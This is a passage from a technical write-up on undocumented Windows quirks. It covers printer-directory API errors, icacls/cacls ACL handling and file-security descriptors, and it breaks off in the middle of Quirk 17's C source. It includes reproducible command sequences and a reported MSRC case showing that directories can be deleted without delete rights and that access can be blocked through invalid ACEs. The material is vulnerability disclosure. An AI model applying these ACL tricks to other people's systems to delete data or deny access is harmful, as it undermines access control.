    
    quirk15.c
    quirk15.c(60) : warning C4133: 'function' : incompatible types - from 'WCHAR [260]' to 'LPBYTE'
    quirk15.c(75) : warning C4133: 'function' : incompatible types - from 'WCHAR [260]' to 'LPBYTE'
    quirk15.c(104) : warning C4133: 'function' : incompatible types - from 'WCHAR [260]' to 'LPBYTE'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:WINSPOOL.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk15.exe
    quirk15.obj
  3. Execute the console application quirk15.exe built in step 2. to demonstrate the (mis)behaviour:

    .\quirk15.exe
    NET.EXE HELPMSG %ERRORLEVEL%
    GetDefaultPrinter() returned name 'Microsoft XPS Document Writer' of 30 characters
    GetPrinterDriverDirectory() returned error 122
    GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\x64' of 76 bytes for environment ''
    GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\WIN40' of 80 bytes for environment 'Windows 4.0'
    GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\W32X86' of 82 bytes for environment 'Windows NT x86'
    GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\IA64' of 78 bytes for environment 'Windows IA64'
    GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\x64' of 76 bytes for environment 'Windows x64'
    GetPrinterDriverDirectory() returned error 1805 for environment 'Windows x86'
    GetPrintProcessorDirectory() returned error 1784
    GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\x64' of 78 bytes for environment ''
    GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\WIN40' of 82 bytes for environment 'Windows 4.0'
    GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\W32X86' of 84 bytes for environment 'Windows NT x86'
    GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\IA64' of 80 bytes for environment 'Windows IA64'
    GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\x64' of 78 bytes for environment 'Windows x64'
    GetPrintProcessorDirectory() returned error 1805 for environment 'Windows x86'
    
    The environment specified is invalid.
    Oops: contrary to their documentation, the Win32 functions GetPrinterDriverDirectory() and GetPrintProcessorDirectory() return extended error information.

    Ouch: the environment Windows x86 specified in the documentation is invalid!

Note: repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 16

The TechNet articles How Security Descriptors and Access Control Lists Work and How Permissions Work provide a comprehensive and exhaustive explanation of WindowsAccess Control and its Access Control Components, while the MSDN article Access Control Lists provides an abstract:
An access control list (ACL) is a list of access control entries (ACE). Each ACE in an ACL identifies a trustee and specifies the access rights allowed, denied, or audited for that trustee. The security descriptor for a securable object can contain two types of ACLs: a DACL and a SACL.

A discretionary access control list (DACL) identifies the trustees that are allowed or denied access to a securable object. When a process tries to access a securable object, the system checks the ACEs in the object's DACL to determine whether to grant access to it. If the object does not have a DACL, the system grants full access to everyone. If the object's DACL has no ACEs, the system denies all attempts to access the object because the DACL does not allow any access rights. The system checks the ACEs in sequence until it finds one or more ACEs that allow all the requested access rights, or until any of the requested access rights are denied. […]

Note: no document denotes different access rights for deletion of directories than for deletion of files, which both are filesystem objects and children of a parent filesystem object, i.e. deletion should be governed by FILE_DELETE_CHILD of the parent (too)!

The TechNet article How Permissions Work specifies:

Folder permissions include Full Control, Modify, Read & Execute, List Folder Contents, Read, and Write. Each of these permissions consists of a logical group of special permissions that are listed and defined in the following table.

Permissions for Files and Folders

Permission Description
Delete Subfolders and Files Allows or denies deleting subfolders and files, even if the Delete permission has not been granted on the subfolder or file. (Applies to folders.)
Delete Allows or denies deleting the file or folder. If you do not have Delete permission on a file or folder, you can still delete it if you have been granted Delete Subfolders and Files on the parent folder.
[…]

You should also be aware of the following:

The MSDN article File Security and Access Rights but contradicts:
The valid access rights for files and directories include the DELETE, READ_CONTROL, WRITE_DAC, WRITE_OWNER, and SYNCHRONIZE standard access rights.

[…]

By default, authorization for access to a file or directory is controlled strictly by the ACLs in the security descriptor associated with that file or directory. In particular, the security descriptor of a parent directory is not used to control access to any child file or directory.

The MSDN articles SACL Access Right and Requesting Access Rights to an Object specify:
The ACCESS_SYSTEM_SECURITY access right is not valid in a DACL because DACLs do not control access to a SACL.

Note

The MAXIMUM_ALLOWED constant cannot be used in an ACE.

Contrary to the last two (highlighted) statements, the documentation as well as the synopsis of WindowsIcacls command line program but state:
Displays or modifies discretionary access control lists (DACLs) on specified files, and applies stored DACLs to files in specified directories.

[…]

icacls ‹FileName› [/grant[:r] ‹Sid›:‹Perm›[…]] [/deny ‹Sid›:‹Perm›[…]] [/remove[:g|:d]] ‹Sid›[…]] [/t] [/c] [/l] [/q] [/setintegritylevel ‹Level›:‹Policy›[…]]
[…]
Oops: the parameter /Inheritance:{E|D|R} is undocumented!

Demonstration

Start the Command Processor, then run the following command lines to prove the documentation cited above wrong, and also show some undocumented (mis)behaviour:
REM Copyright © 2004-2021, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
CHDIR /D "%TMP%"
COPY NUL: Quirk16f.tmp
ECHO STEP 1: remove all inherited access permissions from file 'Quirk16f.tmp'
ICACLS.EXE Quirk16f.tmp /Inheritance:R
CACLS.EXE Quirk16f.tmp /S
ICACLS.EXE Quirk16f.tmp
ECHO STEP 2: (attempt to) add inheritable access permissions to file 'Quirk16f.tmp'
ICACLS.EXE Quirk16f.tmp /Grant *S-1-3-3:(CI)(D) /Grant *S-1-3-2:(OI)(S) /Grant *S-1-3-1:(CI)(IO)(RC) /Grant *S-1-3-0:(OI)(IO)(WDAC)
CACLS.EXE Quirk16f.tmp /S
ICACLS.EXE Quirk16f.tmp
ECHO STEP 3: add access permissions to file 'Quirk16f.tmp'
ICACLS.EXE Quirk16f.tmp /Deny *S-1-3-4:(AS) /Grant *S-1-3-4:(MA) /Grant *S-1-3-3:(D) /Grant *S-1-3-2:(RC) /Grant *S-1-3-1:(S) /Grant *S-1-3-0:(WDAC)
CACLS.EXE Quirk16f.tmp /S
ICACLS.EXE Quirk16f.tmp
ECHO STEP 4: remove access permissions from file 'Quirk16f.tmp'
ICACLS.EXE Quirk16f.tmp /Remove:g "%USERNAME%" /Remove:g None
CACLS.EXE Quirk16f.tmp /S
ICACLS.EXE Quirk16f.tmp
ECHO STEP 5: delete file 'Quirk16f.tmp'
ERASE Quirk16f.tmp
Note: the command lines can be copied and pasted as block into a Command Processor window!
        1 file(s) copied.
STEP 1: remove all inherited access permissions from file 'Quirk16f.tmp'
processed file: Quirk16f.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16f.tmp "D:PAI"

Quirk16f.tmp
Successfully processed 1 files; Failed processing 0 files
STEP 2: (attempt to) add inheritable access permissions to file 'Quirk16f.tmp'
processed file: Quirk16f.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16f.tmp "D:PAI"

Quirk16f.tmp
Successfully processed 1 files; Failed processing 0 files
STEP 3: add access permissions to file 'Quirk16f.tmp'
processed file: Quirk16f.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16f.tmp "D:PAI(D;;;;;OW)(A;;WD;;;S-1-5-21-820728443-44925810-1835867902-1001)(A;;0x100000;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;RC;;;S-1-5-21-820728443-44925810-1835867902-1001)(A;;0x110000;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;;;;OW)"

Quirk16f.tmp OWNER RIGHTS:(DENY)(S)
             AMNESIAC\Stefan:(WDAC)
             AMNESIAC\None:(S)
             AMNESIAC\Stefan:(Rc)
             AMNESIAC\None:(D)
             OWNER RIGHTS:

Successfully processed 1 files; Failed processing 0 files
STEP 4: remove access permissions from file 'Quirk16f.tmp'
processed file: Quirk16f.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16f.tmp

Access denied

Quirk16f.tmp: Access denied
Successfully processed 0 files; Failed processing 1 files
STEP 5: delete file 'Quirk16f.tmp'
Note: ICACLs.exe does not add inheritable ACEs to files, but discards them silently, reporting success.

Ouch¹: ICACLs.exe converts its access permissions AS alias ACCESS_SYSTEM_SECURITY and MA alias MAXIMUM_ALLOWED to 0 alias NO_ACCESS!

Ouch²: ICACLs.exe converts its access permission D into the compound access mask SD alias STANDARD_DELETE plus SYNCHRONIZE, and displays this compound access mask 0x110000 as its access permission D too!

Note: ICACLs.exe converts the well-known SIDs S-1-3-0 alias CREATOR OWNER, S-1-3-1 alias CREATOR GROUP, S-1-3-2 alias CREATOR OWNER SERVER, and S-1-3-3 alias CREATOR GROUP SERVER into the object’s effective user and (primary) group SIDs.

Ouch³: ICACLs.exe displays the access mask 0 alias NO_ACCESS of the ACE (D;;;;;OW) as (S) alias SYNCHRONIZE!

Note: both ICACLs.exe and CACLs.exe fail (expected) when the ACE (D;;;;;OW) with access mask 0 alias NO_ACCESS is present in the DACL; it overrides the implicit RC alias READ_CONTROL and WDAC alias WRITE_DAC access rights granted to the object’s owner and has the same effect as the ACE (A;;;;;OW).

The TechNet article Security Identifiers Technical Overview specifies:

The following table lists the universal well-known SIDs.

Universal well-known SIDs

Value Universal Well-Known SID Identifies
[…]
S-1-3-4 Owner Rights A group that represents the current owner of the object. When an ACE that carries this SID is applied to an object, the system ignores the implicit READ_CONTROL and WRITE_DAC permissions for the object owner.

Demonstration (continued)

MKDIR Quirk16d.tmp
ECHO STEP A: remove all inherited access permissions from directory 'Quirk16d.tmp'
ICACLS.EXE Quirk16d.tmp /Inheritance:R
CACLS.EXE Quirk16d.tmp /S
ICACLS.EXE Quirk16d.tmp
ECHO STEP B: add (inheritable) access permissions to directory 'Quirk16d.tmp'
ICACLS.EXE Quirk16d.tmp /Deny *S-1-3-4:(AS,MA) /Grant *S-1-3-3:(CI)(RC,WDAC) /Grant *S-1-3-2:(OI)(RD,WD) /Grant *S-1-3-1:(CI)(IO)(AS) /Grant *S-1-3-0:(OI)(IO)(MA)
CACLS.EXE Quirk16d.tmp /S
ICACLS.EXE Quirk16d.tmp
ECHO STEP C: (attempt to) delete directory 'Quirk16d.tmp'
RMDIR Quirk16d.tmp
ECHO STEP D: remove all inheritable access permissions from directory 'Quirk16d.tmp'
ICACLS.EXE Quirk16d.tmp /Remove:g *S-1-3-3 /Remove:g *S-1-3-2 /Remove:g *S-1-3-1 /Remove:g *S-1-3-0
CACLS.EXE Quirk16d.tmp /S
ICACLS.EXE Quirk16d.tmp
ECHO STEP E: create file 'Quirk16d.tmp\Quirk16f.tmp'
COPY NUL: Quirk16d.tmp\Quirk16f.tmp
ECHO STEP F: display access permissions of file 'Quirk16d.tmp\Quirk16f.tmp'
ICACLS.EXE Quirk16d.tmp\Quirk16f.tmp
CACLS.EXE Quirk16d.tmp\Quirk16f.tmp /S
ECHO STEP G: (attempt to) delete file 'Quirk16d.tmp\Quirk16f.tmp'
ERASE Quirk16d.tmp\Quirk16f.tmp
ECHO STEP H: add access permissions to directory 'Quirk16d.tmp'
ICACLS.EXE Quirk16d.tmp /Grant *S-1-3-1:(AD) /Grant *S-1-3-0:(S)
CACLS.EXE Quirk16d.tmp /S
ICACLS.EXE Quirk16d.tmp
CACLS.EXE Quirk16d.tmp\Quirk16f.tmp /S
ECHO STEP I: delete file 'Quirk16d.tmp\Quirk16f.tmp'
ERASE Quirk16d.tmp\Quirk16f.tmp
ECHO STEP J: remove access permissions from directory 'Quirk16d.tmp'
ICACLS.EXE Quirk16d.tmp /Remove:g "%USERNAME%"
CACLS.EXE Quirk16d.tmp /S
ICACLS.EXE Quirk16d.tmp
ECHO STEP K: create subdirectory 'Quirk16d.tmp\Quirk16d.tmp'
MKDIR Quirk16d.tmp\Quirk16d.tmp
ECHO STEP L: delete subdirectory 'Quirk16d.tmp\Quirk16d.tmp'
RMDIR Quirk16d.tmp\Quirk16d.tmp
ECHO STEP M: (attempt to) delete directory 'Quirk16d.tmp'
RMDIR Quirk16d.tmp
ECHO STEP N: modify access permissions of directory 'Quirk16d.tmp'
ICACLS.EXE Quirk16d.tmp /Grant *S-1-3-0:(S) /Remove:g None
CACLS.EXE Quirk16d.tmp /S
ICACLS.EXE Quirk16d.tmp
ECHO STEP O: delete directory 'Quirk16d.tmp'
RMDIR Quirk16d.tmp
Note: the command lines can be copied and pasted as block into a Command Processor window!
STEP A: remove all inherited access permissions from directory 'Quirk16d.tmp'
processed file: Quirk16d.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI"

Quirk16d.tmp
Successfully processed 1 files; Failed processing 0 files
STEP B: add (inheritable) access permissions to directory 'Quirk16d.tmp'
processed file: Quirk16d.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI(D;;;;;OW)(A;OIIO;0x2000000;;;CO)(A;;CCDC;;;S-1-5-21-820728443-44925810-1835867902-1001)(A;OIIO;CCDC;;;S-1-3-2)(A;CIIO;0x1000000;;;CG)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)(A;CIIO;RCWD;;;S-1-3-3)"

Quirk16d.tmp OWNER RIGHTS:(DENY)(S)
             CREATOR OWNER:(OI)(IO)(MA)
             AMNESIAC\Stefan:(RD,WD)
             CREATOR OWNER SERVER:(OI)(IO)(RD,WD)
             CREATOR GROUP:(CI)(IO)(AS)
             AMNESIAC\None:(Rc,WDAC)
             CREATOR GROUP SERVER:(CI)(IO)(Rc,WDAC)

Successfully processed 1 files; Failed processing 0 files
STEP C: (attempt to) delete directory 'Quirk16d.tmp'
Access denied
STEP D: remove all inheritable access permissions from directory 'Quirk16d.tmp'
processed file: Quirk16d.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI(A;;CCDC;;;S-1-5-21-820728443-44925810-1835867902-1001)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)"

Quirk16d.tmp AMNESIAC\Stefan:(RD,WD,AD)
             AMNESIAC\None:(Rc,WDAC)

Successfully processed 1 files; Failed processing 0 files
STEP E: create file 'Quirk16d.tmp\Quirk16f.tmp'
        1 file(s) copied.
STEP F: display access permissions of file 'Quirk16d.tmp\Quirk16f.tmp'
Quirk16d.tmp\Quirk16f.tmp AMNESIAC\Stefan:(F)
                          NT AUTHORITY\SYSTEM:(F)
                          The mapping between account names and security IDs was done.
(RX)

Successfully processed 1 files; Failed processing 0 files
Access denied
STEP G: (attempt to) delete file 'Quirk16d.tmp\Quirk16f.tmp'
Could Not Find C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp\Quirk16f.tmp
STEP H: add access permissions to directory 'Quirk16d.tmp'
processed file: Quirk16d.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI(D;;;;;OW)(A;;0x100000;;;S-1-5-21-820728443-44925810-1835867902-1001)(A;;LC;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;CCDC;;;S-1-5-21-820728443-44925810-1835867902-1001)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)"

Quirk16d.tmp OWNER RIGHTS:(DENY)(S)
             AMNESIAC\Stefan:(AD)
             AMNESIAC\None:(S)
             AMNESIAC\Stefan:(RD,WD)
             AMNESIAC\None:(Rc,WDAC)

Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp\Quirk16f.tmp "D:AI(A;;FA;;;S-1-5-21-820728443-44925810-1835867902-1001)(A;;FA;;;SY)(A;;0x1200a9;;;S-1-5-5-0-231840)"

STEP I: delete file 'Quirk16d.tmp\Quirk16f.tmp'
STEP J: remove access permissions from directory 'Quirk16d.tmp'
processed file: Quirk16d.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI(D;;;;;OW)(A;;LC;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)"

Quirk16d.tmp OWNER RIGHTS:(DENY)(S)
             AMNESIAC\None:(S)
             AMNESIAC\None:(Rc,WDAC)

Successfully processed 1 files; Failed processing 0 files
STEP K: create subdirectory 'Quirk16d.tmp\Quirk16d.tmp'
STEP L: delete subdirectory 'Quirk16d.tmp\Quirk16d.tmp'
STEP M: (attempt to) delete directory 'Quirk16d.tmp'
Access denied
STEP N: modify access permissions of directory 'Quirk16d.tmp'
processed file: Quirk16d.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp

Access denied

Quirk16d.tmp: Access denied
Successfully processed 0 files; Failed processing 1 files
STEP O: delete directory 'Quirk16d.tmp'
Ouch⁴: ICACLs.exe adds inheritable ACEs with the invalid access masks AS alias ACCESS_SYSTEM_SECURITY and MA alias MAXIMUM_ALLOWED to DACLs!

Note: without an inheritable ACE from its parent object the default security descriptor from the process’ access token is applied to a new object.

Ouch⁵: both CACLs.exe and the builtin Del alias Erase command of the Command Processor fail without SYNCHRONIZE access permission to the parent directory of the filesystem object to access!

Note: both ICACLs.exe and CACLs.exe fail (expected) when the ACE (D;;;;;OW) with access mask 0 alias NO_ACCESS is present in the DACL; it overrides the implicit RC alias READ_CONTROL and WDAC alias WRITE_DAC access rights granted to the object’s owner and has the same effect as the ACE (A;;;;;OW).

Ouch⁶: the builtin Rmdir alias Rd command of the Command Processor succeeds despite the missing SD alias STANDARD_DELETE access permission!

Security Impact

The bugs demonstrated above allow to delete directories without STANDARD_DELETE access permission as well as to deny (un)intentionally any access to (filesystem) objects via the ACCESS_SYSTEM_SECURITY and MAXIMUM_ALLOWED access permissions!

MSRC Case 65060

Due their security impact I reported these bugs to the MSRC, where case number 65060 was assigned.

They replied with the following statements:

Thank you for your submission. We determined your finding does not meet our bar for immediate servicing. For more information, please see the Microsoft Security Servicing Criteria for Windows (https://aka.ms/windowscriteria).

However, we’ve marked your finding for future review as an opportunity to improve our products. I do not have a timeline for this review and will not provide updates moving forward. As no further action is required at this time, I am closing this case. You will not receive further correspondence regarding this submission.

Quirk № 17

The Win32 functions CreateDirectory() and CreateFile() are documented in the MSDN as follows:
BOOL CreateDirectory(
  LPCTSTR               lpPathName,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
[…]

lpSecurityAttributes

A pointer to a SECURITY_ATTRIBUTES structure. The lpSecurityDescriptor member of the structure specifies a security descriptor for the new directory. […]

BOOL CreateFile(
  LPCTSTR               lpFileName,
  DWORD                 dwDesiredAccess,
  DWORD                 dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD                 dwCreationDisposition,
  DWORD                 dwFlagsAndAttributes,
  HANDLE                hTemplateFile
);
[…]

lpSecurityAttributes

A pointer to a SECURITY_ATTRIBUTES structure that contains two separate but related data members: an optional security descriptor, […]

The lpSecurityDescriptor member of the structure specifies a SECURITY_DESCRIPTOR for a file or device. […]

The SECURITY_ATTRIBUTES and SECURITY_DESCRIPTOR structures are documented as follows:
typedef struct _SECURITY_ATTRIBUTES {
  DWORD  nLength;
  LPVOID lpSecurityDescriptor;
  BOOL   bInheritHandle;
} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;
[…]

lpSecurityAttributes

A pointer to a SECURITY_DESCRIPTOR structure that controls access to the object. […]

A security descriptor includes information that specifies the following components of an object's security:
The Win32 functions DeleteFile(), DeleteFileTransacted(), MoveFileEx(), MoveFileWithProgress(), ReplaceFile() and RemoveDirectory() are documented in the MSDN as follows:
BOOL DeleteFile(
  LPCTSTR lpFileName
);
[…]

lpFileName

The name of the file to be deleted.

[…]

BOOL MoveFileEx(
  LPCTSTR lpExistingFileName,
  LPCTSTR lpNewFileName,
  DWORD   dwFlags
);
[…]

lpExistingFileName

The current name of the file or directory on the local computer.

[…]

lpNewFileName

The new name of the file or directory on the local computer.

[…]

Oops: the highlighted sentences above and below but contradict the linked MSDN article File Security and Access Rights by 5÷1!
BOOL MoveFileWithProgress(
  LPCTSTR            lpExistingFileName,
  LPCTSTR            lpNewFileName,
  LPPROGRESS_ROUTINE lpProgressRoutine,
  LPVOID             lpData,
  DWORD              dwFlags
);
[…]

lpExistingFileName

The current name of the file or directory on the local computer.

[…]

lpNewFileName

The new name of the file or directory on the local computer.

[…]

BOOL RemoveDirectory(
  LPCTSTR lpPathName
);
[…]

lpPathName

The path of the directory to be removed. This path must specify an empty directory, and the calling process must have delete access to the directory.

RemoveDirectory() but fails to delete empty directories created with the same access rights as files!

Demonstration

Perform the following 9 simple steps to show the (mis)behaviour.
  1. Create the text file quirk17.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2021, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <sddl.h>
    #include <aclapi.h>
    
    #ifndef _WIN64
    #pragma intrinsic(memcmp)
    #else
    #pragma function(memcmp)
    
    int	memcmp(char const *left, char const *right, size_t count)
    {
    	size_t	tmp;
    	char	cb;
    
    	for (tmp = 0; tmp < count; tmp++)
    		if (cb = left[tmp] - right[tmp])
    			return cb;
    	return 0;
    }
    #endif
    
    __declspec(safebuffers)
    BOOL	PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	DWORD	dwConsole;
    
    	va_list	vaInserts;
    	va_start(vaInserts, lpFormat);
    
    	dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
    
    	va_end(vaInserts);
    
    	if (dwBuffer == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwBuffer;
    }
    
    typedef	struct	_ace
    {
    	ACE_HEADER	Header;
    	ACCESS_MASK	Mask;
    	SID		Trustee;
    } ACE;
    
    const	struct
    {
    	ACL	acl;
    	ACE	ace[ANYSIZE_ARRAY];
    } acl = {{ACL_REVISION, 0, sizeof(acl), ANYSIZE_ARRAY, 0},
    #if 0				// D:P(A;NP;FA;;;AU)
             {{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
               FILE_ALL_ACCESS,
               {SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_AUTHENTICATED_USER_RID}}}};
    #else				// D:P(A;NP;SD;;;OW)
             {{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
               DELETE,
               {SID_REVISION, 1, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RIGHTS_RID}}}};
    #endif
    
    const	struct
    {
    	ACL	acl;
    	ACE	ace[ANYSIZE_ARRAY];
    } dacl = {{ACL_REVISION, 0, sizeof(dacl), ANYSIZE_ARRAY, 0},
    #ifndef QUIRKS			// D:P(A;NP;0x1f0000;;;OW)
              {{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
                STANDARD_RIGHTS_ALL,
                {SID_REVISION, 1, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RIGHTS_RID}}}};
    #elif QUIRKS == 0		// D:P(A;NP;FA;;;AU)
              {{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
                FILE_ALL_ACCESS,
                {SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_AUTHENTICATED_USER_RID}}}};
    #elif QUIRKS == 1		// D:P(A;NP;0x1f0000;;;S-1-5-15)
              {{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
                STANDARD_RIGHTS_ALL,
                {SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_THIS_ORGANIZATION_RID}}}};
    #elif QUIRKS == 2		// D:P(A;NP;FA;;;PS)
              {{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
                FILE_ALL_ACCESS,
                {SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_PRINCIPAL_SELF_RID}}}};
    #elif QUIRKS == 3		// D:P(A;NP;0x1f0000;;;S-1-5-1000)
              {{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
                STANDARD_RIGHTS_ALL,
                {SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_OTHER_ORGANIZATION_RID}}}};
    #elif QUIRKS == 4		// D:P(A;NP;0x3000000;;;IU)
              {{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
                ACCESS_SYSTEM_SECURITY | MAXIMUM_ALLOWED,
                {SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_INTERACTIVE_RID}}}};
    #else	// NOTE: construct an INVALID DACL!
              {{{SYSTEM_MANDATORY_LABEL_ACE_TYPE, 0, sizeof(ACE)},
                SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP | SYSTEM_MANDATORY_LABEL_NO_READ_UP | SYSTEM_MANDATORY_LABEL_NO_WRITE_UP,
                {SID_REVISION, 1, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID}}}};
    #endif
    
    const	SECURITY_DESCRIPTOR	sd = {SECURITY_DESCRIPTOR_REVISION,
    				      0,
    				      SE_DACL_PRESENT | SE_DACL_PROTECTED | SE_GROUP_DEFAULTED | SE_OWNER_DEFAULTED | SE_SACL_DEFAULTED,
    				      (SID *) NULL,
    				      (SID *) NULL,
    				      (ACL *) NULL,
    				      &dacl};
    
    const	SECURITY_ATTRIBUTES	sa = {sizeof(sa),
    				      &sd,
    				      FALSE};
    
    const	WCHAR	szName[] = L"Quirk17.tmp";
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	SECURITY_DESCRIPTOR	*lpSD;
    
    	ACL	*lpDACL;
    	LPWSTR	lpSDDL;
    	DWORD	dwError;
    	DWORD	dwFile;
    	HANDLE	hFile;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if (!ConvertSecurityDescriptorToStringSecurityDescriptor(&sd,
    		                                                         SDDL_REVISION_1,
    		                                                         OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    		                                                         &lpSDDL,
    		                                                         (LPDWORD) NULL))
    			PrintConsole(hConsole,
    			             L"ConvertSecurityDescriptorToStringSecurityDescriptor() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			PrintConsole(hConsole,
    			             L"Using security descriptor \'%ls\' to create file and directory \'%ls\'\n",
    			             lpSDDL, szName);
    
    			if (LocalFree(lpSDDL) != NULL)
    				PrintConsole(hConsole,
    				             L"LocalFree() returned error %lu\n",
    				             dwError = GetLastError());
    		}
    
    		hFile = CreateFile(szName,
    		                   FILE_WRITE_DATA | READ_CONTROL,
    		                   FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
    		                   &sa,
    		                   CREATE_NEW,
    #if 0
    		                   FILE_FLAG_DELETE_ON_CLOSE,
    #else
    		                   FILE_ATTRIBUTE_NORMAL,
    #endif
    		                   (HANDLE) NULL);
    
    		if (hFile == INVALID_HANDLE_VALUE)
    			PrintConsole(hConsole,
    			             L"CreateFile() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwError = GetSecurityInfo(hFile,
    			                          SE_FILE_OBJECT,
    			                          OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    			                          (SID **) NULL,
    			                          (SID **) NULL,
    			                          &lpDACL,
    			                          (ACL **) NULL,
    			                          &lpSD);
    
    			if (dwError != ERROR_SUCCESS)
    				PrintConsole(hConsole,
    				             L"GetSecurityInfo() returned error %lu\n",
    				             dwError);
    			else
    			{
    				if (!ConvertSecurityDescriptorToStringSecurityDescriptor(lpSD,
    				                                                         SDDL_REVISION_1,
    				                                                         OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    				                                                         &lpSDDL,
    				                                                         (LPDWORD) NULL))
    					PrintConsole(hConsole,
    					             L"ConvertSecurityDescriptorToStringSecurityDescriptor() returned error %lu'\n",
    					             dwError = GetLastError());
    				else
    				{
    					PrintConsole(hConsole,
    					             L"File \'%ls\' created with security descriptor \'%ls\'\n",
    					             szName, lpSDDL);
    
    					if (LocalFree(lpSDDL) != NULL)
    						PrintConsole(hConsole,
    						             L"LocalFree() returned error %lu\n",
    						             dwError = GetLastError());
    				}
    
    				if (memcmp(lpDACL, &dacl, sizeof(dacl)) != 0)
